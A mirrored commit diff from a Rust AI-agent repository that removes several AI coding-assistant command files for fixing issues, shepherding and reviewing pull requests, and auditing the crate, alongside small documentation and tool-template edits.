mirror of
https://github.com/outbackdingo/optimclaw.git
synced 2026-08-25 14:53:34 +00:00
Compare commits
17
Commits
@@ -64,7 +64,7 @@ If the event needs custom UI (cards, badges, etc.), add styles. Follow the exist
|
||||
|
||||
Identify where in the backend this event should be triggered. Common locations:
|
||||
- `src/agent/agent_loop.rs` - During message processing or tool execution
|
||||
- `src/worker/job.rs` - During job execution
|
||||
- `src/agent/worker.rs` - During job execution
|
||||
- `src/agent/heartbeat.rs` - During periodic execution
|
||||
|
||||
Use the existing pattern:
|
||||
|
||||
@@ -286,8 +286,8 @@ impl Tool for <Name>Tool {
|
||||
false // Set true if tool processes external data
|
||||
}
|
||||
|
||||
fn requires_approval(&self, _params: &serde_json::Value) -> crate::tools::tool::ApprovalRequirement {
|
||||
crate::tools::tool::ApprovalRequirement::Never // Set to UnlessAutoApproved or Always as needed
|
||||
fn requires_approval(&self) -> bool {
|
||||
false // Set true if tool is destructive or contacts external services
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
@@ -1,97 +0,0 @@
|
||||
---
|
||||
description: Fetch a GitHub issue, create a branch, research the codebase, plan the fix, implement with tests, and commit
|
||||
disable-model-invocation: true
|
||||
allowed-tools: Bash(gh issue view:*), Bash(gh repo view:*), Bash(git fetch:*), Bash(git checkout:*), Bash(git status:*), Bash(git branch:*), Bash(git add:*), Bash(git commit:*), Bash(cargo fmt:*), Bash(cargo clippy:*), Bash(cargo test:*), Read, Edit, Write, Grep, Glob
|
||||
argument-hint: "<issue-number or github-issue-url>"
|
||||
---
|
||||
|
||||
# Fix GitHub Issue
|
||||
|
||||
## Step 1: Resolve the issue
|
||||
|
||||
Parse `$ARGUMENTS` to extract the issue number:
|
||||
- If it's a URL like `https://github.com/owner/repo/issues/42`, extract `42`.
|
||||
- If it's a bare number, use it directly.
|
||||
- If empty, stop and ask the user for an issue number.
|
||||
|
||||
Fetch the issue:
|
||||
|
||||
```
|
||||
gh issue view {number} --json title,body,labels,assignees,comments,state
|
||||
```
|
||||
|
||||
If the issue is closed, warn the user and ask if they still want to proceed.
|
||||
|
||||
## Step 2: Create a branch
|
||||
|
||||
Create a fresh branch off the latest main:
|
||||
|
||||
1. Fetch latest: `git fetch origin`
|
||||
2. Detect default branch: `gh repo view --json defaultBranchRef --jq .defaultBranchRef.name`
|
||||
3. Create and switch to a new branch: `git checkout -b fix/{number}-{short-slug} origin/{default-branch}`
|
||||
- `{short-slug}` is 3-5 words from the issue title, lowercase, hyphenated (e.g. `fix/42-idor-workspace-check`)
|
||||
|
||||
If the working tree has uncommitted changes, warn the user and stop. Do not stash or discard their work.
|
||||
|
||||
## Step 3: Understand the issue
|
||||
|
||||
Summarize the issue in 2-3 sentences. Identify:
|
||||
- **What's broken or missing** (the symptom or feature request)
|
||||
- **Acceptance criteria** (what "done" looks like, from the issue body or comments)
|
||||
- **Constraints** (mentioned technologies, backward compatibility, performance requirements)
|
||||
|
||||
If the issue is unclear or ambiguous, list the open questions. These will be addressed during planning.
|
||||
|
||||
## Step 4: Research the codebase
|
||||
|
||||
Before planning, gather context:
|
||||
|
||||
1. **Find relevant code** - Search for files, functions, types, and patterns mentioned in the issue. Read them in full.
|
||||
2. **Trace the flow** - If the issue is about a specific behavior, trace the code path from the entry point (route handler, CLI command, etc.) through to the relevant logic.
|
||||
3. **Check existing tests** - Find tests related to the affected code. Understand what's already covered.
|
||||
4. **Check for prior art** - Look for similar patterns in the codebase that solve analogous problems. Prefer consistency with existing patterns.
|
||||
|
||||
## Step 5: Enter planning mode
|
||||
|
||||
Enter planning mode to design the implementation. The plan MUST cover:
|
||||
|
||||
1. **Root cause** (for bugs) or **design approach** (for features)
|
||||
2. **Files to modify** with specific descriptions of what changes in each
|
||||
3. **New files** (if any) with justification for why they're needed
|
||||
4. **Tests to add** - every code path introduced or changed needs a test:
|
||||
- Happy path (expected input produces expected output)
|
||||
- Error paths (invalid input, missing data, permission denied)
|
||||
- Edge cases (empty collections, boundary values, concurrent access)
|
||||
5. **IronClaw-specific concerns**:
|
||||
- If the change touches persistence, both database backends must be updated (`postgres.rs` and `libsql_backend.rs`)
|
||||
- New `Database` trait methods need implementations in both backends
|
||||
- No `.unwrap()` or `.expect()` in production code
|
||||
- Use `crate::` imports, not `super::`
|
||||
- Error types via `thiserror` in `error.rs`
|
||||
6. **Migration or compatibility concerns** (if any)
|
||||
|
||||
Follow the project's CLAUDE.md guidance for architecture decisions.
|
||||
|
||||
Wait for user approval before implementing.
|
||||
|
||||
## Step 6: Implement
|
||||
|
||||
After the plan is approved:
|
||||
|
||||
1. Implement each change from the plan.
|
||||
2. Write all planned tests.
|
||||
3. Run IronClaw's full quality gate:
|
||||
- `cargo fmt`
|
||||
- `cargo clippy --all --benches --tests --examples --all-features` (zero warnings)
|
||||
- `cargo test --lib` (all tests pass)
|
||||
4. If any check fails, fix it before proceeding.
|
||||
|
||||
Note: Integration tests (`--test workspace_integration`) require PostgreSQL and are expected to fail locally. Only `--lib` test failures are blocking.
|
||||
|
||||
## Step 7: Commit and summarize
|
||||
|
||||
1. Commit with a descriptive message referencing the issue (e.g. `fix: prevent IDOR in function call outputs (#42)`).
|
||||
2. Summarize what was done:
|
||||
- Files changed with line references
|
||||
- Tests added and what they cover
|
||||
- Any follow-up work or open questions
|
||||
@@ -1,303 +0,0 @@
|
||||
---
|
||||
description: Full PR lifecycle — review, fix findings, address comments, quality gate, push, CI fix loop, merge
|
||||
disable-model-invocation: true
|
||||
allowed-tools: Bash(gh pr view:*), Bash(gh pr diff:*), Bash(gh pr comment:*), Bash(gh pr merge:*), Bash(gh pr checks:*), Bash(gh pr edit:*), Bash(gh pr list:*), Bash(gh pr checkout:*), Bash(gh api:*), Bash(gh repo view:*), Bash(gh run view:*), Bash(gh run watch:*), Bash(git diff:*), Bash(git log:*), Bash(git fetch:*), Bash(git checkout:*), Bash(git status:*), Bash(git branch:*), Bash(git add:*), Bash(git commit:*), Bash(git push:*), Bash(git merge:*), Bash(git rebase:*), Bash(cargo fmt:*), Bash(cargo clippy:*), Bash(cargo test:*), Bash(cargo check:*), Read, Edit, Write, Grep, Glob, Agent
|
||||
argument-hint: "<pr-number or url> [--fix] [--merge] [--review-only]"
|
||||
---
|
||||
|
||||
# PR Shepherd
|
||||
|
||||
Full PR lifecycle: review → fix → quality gate → push → CI → merge.
|
||||
|
||||
Parse `$ARGUMENTS`:
|
||||
- Extract PR number from bare number or `https://github.com/owner/repo/pull/123` URL.
|
||||
- Flags: `--fix` (auto-fix without asking), `--merge` (merge when CI green), `--review-only` (stop after review, don't fix).
|
||||
- If no PR number, detect from current branch: `gh pr list --head $(git branch --show-current) --json number --jq '.[0].number'`
|
||||
- If still nothing, stop and ask the user.
|
||||
|
||||
---
|
||||
|
||||
## Phase 1: Situational Awareness
|
||||
|
||||
Gather everything in parallel:
|
||||
|
||||
**PR metadata:**
|
||||
```
|
||||
gh pr view {number} --json number,title,body,author,baseRefName,headRefName,headRefOid,state,isDraft,mergeable,mergeStateStatus,files,additions,deletions,labels,reviewRequests
|
||||
```
|
||||
|
||||
**Diff:**
|
||||
```
|
||||
gh pr diff {number}
|
||||
gh pr diff {number} --name-only
|
||||
```
|
||||
|
||||
**CI status:**
|
||||
```
|
||||
gh pr checks {number} --json name,status,conclusion,detailsUrl
|
||||
```
|
||||
|
||||
**Review comments (human + bot):**
|
||||
```
|
||||
gh api --paginate repos/{owner}/{repo}/pulls/{number}/comments
|
||||
gh api --paginate repos/{owner}/{repo}/pulls/{number}/reviews
|
||||
```
|
||||
|
||||
Resolve `{owner}/{repo}`:
|
||||
```
|
||||
gh repo view --json owner,name --jq '"\(.owner.login)/\(.name)"'
|
||||
```
|
||||
|
||||
Save `headRefOid` — needed for posting line comments later.
|
||||
|
||||
**Assess the situation and print a status card:**
|
||||
|
||||
```
|
||||
PR #{number}: {title}
|
||||
Author: {author} Base: {base} ← {head}
|
||||
Size: +{additions} -{deletions} across {file_count} files
|
||||
CI: {PASS|FAIL|PENDING|NONE} Mergeable: {yes|no|conflict}
|
||||
Reviews: {N approved, N changes_requested, N comments-only, N bot-only}
|
||||
Unresolved comments: {N}
|
||||
Draft: {yes|no}
|
||||
```
|
||||
|
||||
**Decide the mode** based on situation:
|
||||
- **Has unresolved review comments** → Phase 2a (address comments first, then review remaining)
|
||||
- **No reviews yet / bot-only reviews** → Phase 2b (full deep review)
|
||||
- **CI failing, no review issues** → Phase 4 (jump to CI fix)
|
||||
- **Everything green + approved** → Phase 6 (ready to merge)
|
||||
|
||||
---
|
||||
|
||||
## Phase 2a: Address Existing Review Comments
|
||||
|
||||
For each unresolved review comment or review with CHANGES_REQUESTED:
|
||||
|
||||
1. **Read the referenced code** at the file and line mentioned. Never assess without reading.
|
||||
2. **Classify each comment:**
|
||||
- ✅ **Valid & unresolved** — needs a code fix
|
||||
- ✅ **Already fixed** — a later commit addressed it
|
||||
- ❌ **False positive** — explain why the code is correct
|
||||
- 🔧 **Nit** — optional improvement, not blocking
|
||||
|
||||
3. **Deduplicate** — bots (Copilot, Gemini) often post the same finding. Group by actual issue.
|
||||
|
||||
Present a table:
|
||||
|
||||
| # | Source | File:Line | Issue | Status | Planned Fix |
|
||||
|---|--------|-----------|-------|--------|-------------|
|
||||
|
||||
Wait for user confirmation (unless `--fix` flag set), then proceed to Phase 3.
|
||||
|
||||
---
|
||||
|
||||
## Phase 2b: Deep Review (6 Lenses)
|
||||
|
||||
Read EVERY changed file in full (not just diff hunks). For PRs touching >20 files, prioritize: service logic > handlers > types > tests > docs. Batch reads in parallel via Agent tool.
|
||||
|
||||
### IronClaw-specific checks (always)
|
||||
- No `.unwrap()` or `.expect()` in production code
|
||||
- Prefer `crate::` for cross-module imports (`super::` OK in tests/intra-module)
|
||||
- Error types use `thiserror`
|
||||
- If persistence touched, both backends updated (postgres.rs AND libsql/)
|
||||
- New tools implement `Tool` trait correctly and registered
|
||||
- External tool output passes through safety layer
|
||||
- Tool parameters redacted before logging/SSE
|
||||
- No byte-index slicing on external strings
|
||||
- Case-insensitive comparisons where needed
|
||||
|
||||
### Correctness
|
||||
Off-by-one, wrong operators, inverted conditions, unreachable code, type confusion, error propagation, broken invariants, TOCTOU races.
|
||||
|
||||
### Edge cases & failure handling
|
||||
Empty/None/zero-length input, external service failures, integer boundaries, malformed/adversarial input, partial failure handling.
|
||||
|
||||
### Security (assume adversarial actors)
|
||||
Auth/authz bypass, IDOR, injection (SQL/command/log/header), data leakage in logs/errors/API responses, resource exhaustion, replay/race conditions.
|
||||
|
||||
### Test coverage
|
||||
New public functions tested? Error paths tested? Edge cases covered? Existing tests still valid?
|
||||
|
||||
### Architecture
|
||||
Follows existing patterns? Unnecessary abstractions? Duplicated logic? Clean module dependencies?
|
||||
|
||||
**Present findings as a table:**
|
||||
|
||||
| # | Severity | Category | File:Line | Finding | Suggested Fix |
|
||||
|---|----------|----------|-----------|---------|---------------|
|
||||
|
||||
Severity: Critical > High > Medium > Low > Nit
|
||||
|
||||
If `--review-only` flag is set, post findings as GitHub comments (see Phase 2c) and STOP.
|
||||
|
||||
Otherwise, ask which findings to fix (default: all Critical + High + Medium). Then proceed to Phase 3.
|
||||
|
||||
---
|
||||
|
||||
## Phase 2c: Post Review Comments on GitHub
|
||||
|
||||
For each finding the user approved (or all Critical/High/Medium if `--fix`):
|
||||
|
||||
**Line-specific findings** — post as PR review comments:
|
||||
```
|
||||
gh api repos/{owner}/{repo}/pulls/{number}/comments \
|
||||
-f body="**{Severity}**: {finding}\n\n{explanation}\n\n**Suggested fix:** {suggestion}" \
|
||||
-f path="{file}" \
|
||||
-f commit_id="{headRefOid}" \
|
||||
-F line={line} \
|
||||
-f side="RIGHT"
|
||||
```
|
||||
|
||||
**Cross-cutting/architectural findings** — post as regular PR comment:
|
||||
```
|
||||
gh pr comment {number} --body "..."
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Phase 3: Fix
|
||||
|
||||
Checkout the PR branch if not already on it (handles fork PRs automatically):
|
||||
```
|
||||
gh pr checkout {number}
|
||||
```
|
||||
|
||||
**Implement fixes** for:
|
||||
1. All approved review comment fixes (from Phase 2a)
|
||||
2. All approved review findings (from Phase 2b)
|
||||
|
||||
Follow IronClaw conventions:
|
||||
- `thiserror` for errors
|
||||
- `crate::` imports
|
||||
- No `.unwrap()` in production
|
||||
- Both DB backends if persistence touched
|
||||
- Regression test for every bug fix (enforced by commit-msg hook; bypass only with `[skip-regression-check]` if genuinely not feasible)
|
||||
|
||||
After all fixes implemented, proceed to Phase 4.
|
||||
|
||||
---
|
||||
|
||||
## Phase 4: Quality Gate
|
||||
|
||||
Run the full IronClaw shipping checklist:
|
||||
|
||||
```bash
|
||||
cargo fmt
|
||||
```
|
||||
|
||||
```bash
|
||||
cargo clippy --all --benches --tests --examples --all-features
|
||||
```
|
||||
|
||||
```bash
|
||||
cargo test --lib
|
||||
```
|
||||
|
||||
If persistence changes are present, also verify feature isolation:
|
||||
```bash
|
||||
cargo check --no-default-features --features libsql
|
||||
cargo check --all-features
|
||||
```
|
||||
|
||||
**If any step fails:** fix the issue and re-run. Do NOT proceed past a failing step. Loop up to 3 times per step. If still failing after 3 attempts, report the failure and stop.
|
||||
|
||||
---
|
||||
|
||||
## Phase 5: Commit & Push
|
||||
|
||||
Stage changed files by name (never `git add -A` — it can include unintended files):
|
||||
```bash
|
||||
git add path/to/changed/file1 path/to/changed/file2
|
||||
git commit -m "{message}"
|
||||
```
|
||||
|
||||
Commit message format:
|
||||
- For review fixes: `fix: address review findings on PR #{number}`
|
||||
- For comment responses: `fix: address review comments on PR #{number}`
|
||||
- For CI fixes: `fix: resolve CI failures on PR #{number}`
|
||||
- Include specifics in the body (which findings/comments were addressed)
|
||||
|
||||
Push:
|
||||
```bash
|
||||
git push origin {headRefName}
|
||||
```
|
||||
|
||||
**Reply to addressed review comments on GitHub.** For each comment that was fixed, reply with the commit SHA and a brief description of what was done. For false positives, reply explaining why no change was needed.
|
||||
|
||||
---
|
||||
|
||||
## Phase 6: CI Monitor & Fix Loop
|
||||
|
||||
Wait briefly for CI to start, then poll (do NOT use `--watch` as it can hang indefinitely):
|
||||
```
|
||||
gh pr checks {number} --json name,status,conclusion
|
||||
```
|
||||
|
||||
Re-check every 30 seconds, up to 10 minutes. If still pending after 10 minutes, report status and ask the user whether to keep waiting.
|
||||
|
||||
**If CI passes** → proceed to Phase 7.
|
||||
|
||||
**If CI fails** (up to 3 fix attempts):
|
||||
|
||||
1. Identify the failing check:
|
||||
```
|
||||
gh run view {run_id} --log-failed
|
||||
```
|
||||
If `--log-failed` shows nothing useful:
|
||||
```
|
||||
gh run view {run_id} --log | tail -100
|
||||
```
|
||||
|
||||
2. Diagnose and fix the failure.
|
||||
3. Re-run Phase 4 (quality gate).
|
||||
4. Commit and push (Phase 5).
|
||||
5. Go back to top of Phase 6.
|
||||
|
||||
**After 3 failed CI fix attempts:** Report what's failing and why, then stop. Don't keep looping.
|
||||
|
||||
---
|
||||
|
||||
## Phase 7: Merge Decision
|
||||
|
||||
Print final status:
|
||||
```
|
||||
PR #{number}: {title}
|
||||
CI: ✅ PASS
|
||||
Reviews: {summary}
|
||||
Findings fixed: {N}
|
||||
Comments addressed: {N}
|
||||
Commits added: {N}
|
||||
```
|
||||
|
||||
**Auto-merge conditions** (if `--merge` flag or user confirms):
|
||||
- CI is passing
|
||||
- No unresolved CHANGES_REQUESTED reviews
|
||||
- PR is not draft
|
||||
- PR is mergeable (no conflicts)
|
||||
|
||||
If all conditions met, ask the user for merge strategy:
|
||||
|
||||
"CI is green. Merge this PR? [squash/rebase/merge/no]"
|
||||
|
||||
Then execute:
|
||||
```
|
||||
gh pr merge {number} --{strategy} --delete-branch
|
||||
```
|
||||
|
||||
If any condition NOT met, report what's blocking and let the user decide.
|
||||
|
||||
---
|
||||
|
||||
## Rules
|
||||
|
||||
- **Read before judging.** Never comment on code you haven't read in full. Verify line numbers.
|
||||
- **Be specific.** "Line 42 returns 404 but should return 400 because X" not "this might have issues."
|
||||
- **Fix the pattern, not just the instance.** When fixing a bug, grep for the same pattern across `src/`.
|
||||
- **Respect the commit-msg hook.** Bug fixes need regression tests. Use `[skip-regression-check]` only if genuinely not feasible.
|
||||
- **Don't over-fix.** Only change what was flagged. Don't refactor surrounding code or add improvements beyond the review scope.
|
||||
- **Credit original authors.** If taking over someone else's PR, credit them in commits and comments.
|
||||
- **No secrets in comments.** Never include customer data, credentials, or PII in GitHub comments.
|
||||
- **Distinguish certainty.** "This IS a bug" vs "This COULD be a bug if X." Be honest.
|
||||
- **Round up severity when uncertain.** Cheaper to dismiss a false alarm than miss a real bug.
|
||||
- **Parallel where possible.** Use Agent tool for parallel file reads on large PRs. Batch `gh api` calls.
|
||||
@@ -1,81 +0,0 @@
|
||||
---
|
||||
description: Respond to PR review comments — triage, plan fixes, implement after confirmation, push, and reply to reviewers
|
||||
disable-model-invocation: true
|
||||
allowed-tools: Bash(gh pr list:*), Bash(gh pr comment:*), Bash(gh api:*), Bash(gh repo view:*), Bash(git branch:*), Bash(git status:*), Bash(git add:*), Bash(git commit:*), Bash(git push:*), Bash(cargo fmt:*), Bash(cargo clippy:*), Bash(cargo test:*), Read, Edit, Write, Grep, Glob
|
||||
argument-hint: "[pr-number (optional, auto-detects from branch)]"
|
||||
---
|
||||
|
||||
# Review and Address PR Comments
|
||||
|
||||
## Step 1: Find the PR
|
||||
|
||||
If `$ARGUMENTS` is provided, use that as the PR number. Otherwise, detect the PR for the current branch:
|
||||
|
||||
```
|
||||
gh pr list --head $(git branch --show-current) --json number,title,url --jq '.[0]'
|
||||
```
|
||||
|
||||
If no PR is found, tell the user and stop.
|
||||
|
||||
## Step 2: Fetch all review comments
|
||||
|
||||
Resolve the repo owner and name:
|
||||
|
||||
```
|
||||
gh repo view --json owner,name --jq '"\(.owner.login)/\(.name)"'
|
||||
```
|
||||
|
||||
Fetch the full set of review comments (not issue-level comments):
|
||||
|
||||
```
|
||||
gh api --paginate repos/{owner}/{repo}/pulls/{number}/comments
|
||||
```
|
||||
|
||||
Also fetch the review summaries:
|
||||
|
||||
```
|
||||
gh api --paginate repos/{owner}/{repo}/pulls/{number}/reviews
|
||||
```
|
||||
|
||||
Deduplicate comments that appear multiple times (bots sometimes post the same finding under different IDs). Group by the actual issue being raised, not by comment ID.
|
||||
|
||||
## Step 3: Triage and plan
|
||||
|
||||
For each unique issue raised in the comments:
|
||||
|
||||
1. **Check if already addressed** - Read the current code at the referenced location. If a prior commit already fixed it, note it as "already resolved".
|
||||
2. **Assess validity** - Determine if the comment identifies a real problem or is a false positive. Be honest about false positives but explain why.
|
||||
3. **Classify severity** - Critical (security/data loss), High (bugs/broken behavior), Medium (correctness/robustness), Low (style/naming/nits).
|
||||
4. **Plan the fix** - For each valid unresolved issue, describe the specific code change needed.
|
||||
|
||||
Present the plan as a table to the user:
|
||||
|
||||
| # | Issue | File:Line | Severity | Status | Planned Fix |
|
||||
|---|-------|-----------|----------|--------|-------------|
|
||||
|
||||
Wait for user confirmation before proceeding to implementation.
|
||||
|
||||
## Step 4: Implement fixes
|
||||
|
||||
After user confirms:
|
||||
|
||||
1. Implement each fix in the plan.
|
||||
2. Run IronClaw's quality gate to verify nothing breaks:
|
||||
- `cargo fmt`
|
||||
- `cargo clippy --all --benches --tests --examples --all-features`
|
||||
- `cargo test --lib`
|
||||
3. Commit with a descriptive message referencing the PR review.
|
||||
4. Push to the branch.
|
||||
|
||||
## Step 5: Reply to comments
|
||||
|
||||
For each comment addressed, reply on the PR with a short message stating what was fixed and the commit SHA. For false positives or already-resolved items, reply explaining why no change was needed.
|
||||
|
||||
## Rules
|
||||
|
||||
- Never guess at code you haven't read. Always read the referenced file and line before assessing a comment.
|
||||
- Group duplicate comments (same issue reported by multiple bots) and reply to all of them.
|
||||
- Do not make changes beyond what the review comments ask for. Stay focused.
|
||||
- If a comment suggests a change you disagree with, present your reasoning to the user during the planning phase rather than silently ignoring it.
|
||||
- Follow IronClaw conventions: no `.unwrap()` in production code, use `crate::` imports, `thiserror` errors.
|
||||
- If changes touch persistence, verify both database backends are updated.
|
||||
@@ -1,245 +0,0 @@
|
||||
---
|
||||
description: Deep audit of the IronClaw crate for vulnerabilities, bugs, unfinished work, inconsistencies, and oversights
|
||||
disable-model-invocation: true
|
||||
allowed-tools: Bash(cargo fmt:*), Bash(cargo clippy:*), Bash(cargo test:*), Bash(cargo audit:*), Bash(git diff:*), Bash(git log:*), Bash(git show:*), Bash(wc:*), Read, Grep, Glob, Task
|
||||
argument-hint: "[path/to/crate]"
|
||||
---
|
||||
|
||||
# Rust Crate Audit
|
||||
|
||||
You are performing a thorough audit of a Rust crate. Your goal is to find every vulnerability, bug, unfinished piece of work, inconsistency, and oversight before it ships. Leave no stone unturned.
|
||||
|
||||
## Step 1: Locate the crate
|
||||
|
||||
Parse `$ARGUMENTS`:
|
||||
- If a path is provided, use it as the crate root.
|
||||
- If empty, use the current working directory.
|
||||
|
||||
Verify it's a valid Rust crate by checking for `Cargo.toml`. If not found, stop and ask the user.
|
||||
|
||||
## Step 2: Understand the crate
|
||||
|
||||
Read `Cargo.toml` to understand:
|
||||
- Crate name, version, edition
|
||||
- Dependencies (look for outdated, unmaintained, or suspicious crates)
|
||||
- Feature flags and their implications
|
||||
- Build scripts (`build.rs`) if any
|
||||
|
||||
Read `CLAUDE.md`, `README.md`, or top-level documentation if present to understand intent and architecture.
|
||||
|
||||
Read `src/lib.rs` or `src/main.rs` to get the module tree. Then read each module's `mod.rs` or top-level file to build a mental map of the crate's structure before diving into details.
|
||||
Read all Rust files (`src/*.rs`) to make sure everything is in context when you are reasoning.
|
||||
|
||||
## Step 3: Run the compiler's checks
|
||||
|
||||
Run these commands and capture output. Do NOT fix anything, just collect findings:
|
||||
|
||||
```
|
||||
cargo fmt --check 2>&1
|
||||
```
|
||||
|
||||
```
|
||||
cargo clippy --all --benches --tests --examples --all-features -- -W clippy::all -W clippy::pedantic -W clippy::nursery 2>&1
|
||||
```
|
||||
|
||||
```
|
||||
cargo test --lib 2>&1
|
||||
```
|
||||
|
||||
If any of these fail, record the failures as findings. If `cargo test` has ignored tests, note which ones and why.
|
||||
|
||||
Note: Integration tests (`--test workspace_integration`) require a PostgreSQL database and are expected to fail locally. Only report `--lib` test failures as blocking.
|
||||
|
||||
## Step 4: Scan for unfinished work
|
||||
|
||||
Search the entire `src/` tree for:
|
||||
|
||||
```
|
||||
todo!
|
||||
unimplemented!
|
||||
fixme
|
||||
FIXME
|
||||
TODO
|
||||
HACK
|
||||
XXX
|
||||
SAFETY:
|
||||
stub
|
||||
placeholder
|
||||
temporary
|
||||
```
|
||||
|
||||
For each match:
|
||||
- Is it in production code or test code?
|
||||
- Is it a genuine incomplete feature or a deliberate placeholder?
|
||||
- Is there a tracking issue referenced?
|
||||
- Could this panic at runtime?
|
||||
|
||||
Any `todo!()` or `unimplemented!()` in non-test code is **High severity** (runtime panic).
|
||||
|
||||
## Step 5: Audit for vulnerabilities and unsafe code
|
||||
|
||||
### 5a. Unsafe code
|
||||
|
||||
Search for all `unsafe` blocks. For each one:
|
||||
- Is the safety invariant documented with a `// SAFETY:` comment?
|
||||
- Is the invariant actually upheld by the surrounding code?
|
||||
- Could the unsafe block be replaced with a safe alternative?
|
||||
- Are there any pointer dereferences, transmutes, or FFI calls?
|
||||
|
||||
### 5b. Unwrap and panic paths
|
||||
|
||||
Search for `.unwrap()`, `.expect(`, `panic!`, `unreachable!` in non-test code. For each:
|
||||
- Can this actually panic in production?
|
||||
- Is there a code path that reaches this with None/Err?
|
||||
- Should it be replaced with proper error handling (`?`, `.ok()`, `.unwrap_or_default()`)?
|
||||
|
||||
IronClaw convention: `.unwrap()` and `.expect()` are banned in production code. Any occurrence outside `#[cfg(test)]` blocks is a **High severity** finding.
|
||||
|
||||
### 5c. SQL and injection vectors
|
||||
|
||||
Search for string formatting used in SQL queries, shell commands, or HTML:
|
||||
- `format!` used near `.execute(`, `.query(`, `Command::new(`
|
||||
- String interpolation in query construction vs parameterized queries
|
||||
- User input flowing into file paths (`Path::new`, `std::fs::`)
|
||||
|
||||
IronClaw has two database backends (PostgreSQL and libSQL). Check both for injection vectors.
|
||||
|
||||
### 5d. Cryptographic issues
|
||||
|
||||
If the crate uses crypto:
|
||||
- Are comparisons constant-time? (look for `==` on secrets/hashes vs `subtle::ConstantTimeEq`)
|
||||
- Is randomness from `OsRng` / `thread_rng` and not a fixed seed?
|
||||
- Are keys/secrets zeroized after use? (`secrecy`, `zeroize` crates)
|
||||
- Are deprecated algorithms used? (MD5, SHA1 for security, RC4, DES)
|
||||
|
||||
### 5e. Resource exhaustion
|
||||
|
||||
- Are there unbounded allocations? (`Vec` growing from user input without limits)
|
||||
- Are there unbounded loops? (retry loops without max attempts)
|
||||
- Are file reads bounded? (`std::fs::read_to_string` on user-provided paths)
|
||||
- Are timeouts set on all network operations?
|
||||
- Are there connection/resource leaks? (opened but never closed, missing `Drop`)
|
||||
|
||||
### 5f. Error handling
|
||||
|
||||
- Are errors swallowed silently? (`let _ = ...`, `.ok()` discarding errors that matter)
|
||||
- Do error types carry enough context to debug in production?
|
||||
- Are there error type mismatches? (returning generic `anyhow::Error` where a typed error would prevent confusion)
|
||||
- Is `thiserror` used consistently for error types (IronClaw convention)?
|
||||
|
||||
## Step 6: Check for inconsistencies
|
||||
|
||||
### 6a. Naming conventions
|
||||
|
||||
- Are types, functions, modules named consistently? (e.g., mixing `get_` and `fetch_`, `create_` and `new_`)
|
||||
- Do similar operations follow the same patterns?
|
||||
|
||||
### 6b. Duplicate or near-duplicate code
|
||||
|
||||
Look for:
|
||||
- Functions that do nearly the same thing with minor variations (candidates for generics or shared helpers)
|
||||
- Repeated error mapping patterns that should be extracted
|
||||
- Copy-pasted SQL queries or string templates with slight differences
|
||||
- Identical struct definitions or conversion logic in different modules
|
||||
|
||||
### 6c. API consistency
|
||||
|
||||
- Do similar functions take arguments in the same order?
|
||||
- Are return types consistent? (e.g., some functions return `Option<T>`, similar ones return `Result<T, E>`)
|
||||
- Are visibility modifiers consistent? (`pub` where it should be `pub(crate)`, or vice versa)
|
||||
|
||||
### 6d. Dead code and unused items
|
||||
|
||||
- Are there functions, structs, or modules that nothing references?
|
||||
- Are there `#[allow(dead_code)]` annotations that should be investigated?
|
||||
- Are there feature-gated items where the feature is never enabled?
|
||||
|
||||
### 6e. Import style
|
||||
|
||||
IronClaw convention: use `crate::` imports, not `super::`. Flag any `super::` imports in non-test code.
|
||||
|
||||
## Step 7: Inspect for change oversights
|
||||
|
||||
### 7a. Partial refactors
|
||||
|
||||
- Are there old patterns coexisting with new patterns?
|
||||
- Are there renamed types/functions where some call sites still use the old name via a compatibility alias?
|
||||
- Are there comments referencing behavior that no longer exists?
|
||||
|
||||
### 7b. Trait implementation gaps
|
||||
|
||||
- If a trait is defined, do all intended types implement it?
|
||||
- Are there `impl` blocks that look incomplete?
|
||||
- Are `Default` implementations sensible?
|
||||
|
||||
IronClaw key traits: `Database` (~60 methods), `Channel`, `Tool`, `LlmProvider`, `SuccessEvaluator`, `EmbeddingProvider`. If any new methods were added to `Database`, verify both `postgres.rs` and `libsql_backend.rs` implement them.
|
||||
|
||||
### 7c. Test coverage gaps
|
||||
|
||||
- Are there public functions without any test?
|
||||
- Are there error paths without tests?
|
||||
- Are there recently-changed functions where the tests still assert old behavior?
|
||||
|
||||
### 7d. Documentation drift
|
||||
|
||||
- Do doc comments match actual function behavior?
|
||||
- Are examples in doc comments still valid and compilable?
|
||||
|
||||
## Step 8: Dependency audit
|
||||
|
||||
Review `Cargo.toml` and `Cargo.lock`:
|
||||
- Are there duplicate versions of the same crate in the lock file? (potential version conflicts)
|
||||
- Are there dependencies with known security advisories? Run `cargo audit` to check (install with `cargo install cargo-audit` if not present).
|
||||
- Are there heavy dependencies used for trivial functionality?
|
||||
- Are dependency features minimal?
|
||||
|
||||
## Step 9: Present findings
|
||||
|
||||
Compile all findings into a structured report. Group by severity, then by category.
|
||||
|
||||
### Format
|
||||
|
||||
For each finding:
|
||||
|
||||
```
|
||||
### [Severity] Category: One-line summary
|
||||
|
||||
**Location:** `file_path:line_number`
|
||||
**Category:** Vulnerability | Bug | Unfinished | Inconsistency | Duplicate | Oversight | Style
|
||||
|
||||
**Description:**
|
||||
Detailed explanation of the issue, why it matters, and how it could manifest.
|
||||
|
||||
**Suggested fix:**
|
||||
Concrete suggestion with code if applicable.
|
||||
```
|
||||
|
||||
### Severity levels
|
||||
|
||||
- **Critical**: Security vulnerability, data loss, or crash in production
|
||||
- **High**: Bug that causes incorrect behavior, `todo!()`/`unimplemented!()` in prod code, or missing validation on trust boundaries
|
||||
- **Medium**: Inconsistency, duplicate code, incomplete error handling, missing tests for important paths
|
||||
- **Low**: Naming inconsistency, unnecessary complexity, documentation drift, minor dead code
|
||||
- **Nit**: Style preference, optional improvement
|
||||
|
||||
### Summary table
|
||||
|
||||
End with a summary table:
|
||||
|
||||
| # | Severity | Category | File:Line | Finding |
|
||||
|---|----------|----------|-----------|---------|
|
||||
|
||||
And a final tally: X Critical, Y High, Z Medium, W Low, V Nit.
|
||||
|
||||
## Rules
|
||||
|
||||
- Read every file before reporting on it. Never guess about code you haven't seen.
|
||||
- Be specific. "This might have issues" is worthless. "Line 42 calls `.unwrap()` on a `Result` that returns `Err` when the DB connection is dropped" is useful.
|
||||
- Distinguish certainty levels: "this IS a bug" vs "this COULD be a bug if X".
|
||||
- Don't invent problems to look thorough. If the code is solid, say so.
|
||||
- Focus on substance over style. Don't flag formatting unless it causes real confusion.
|
||||
- Respect existing project conventions (check CLAUDE.md). Don't flag patterns the project explicitly endorses.
|
||||
- When in doubt about severity, round up.
|
||||
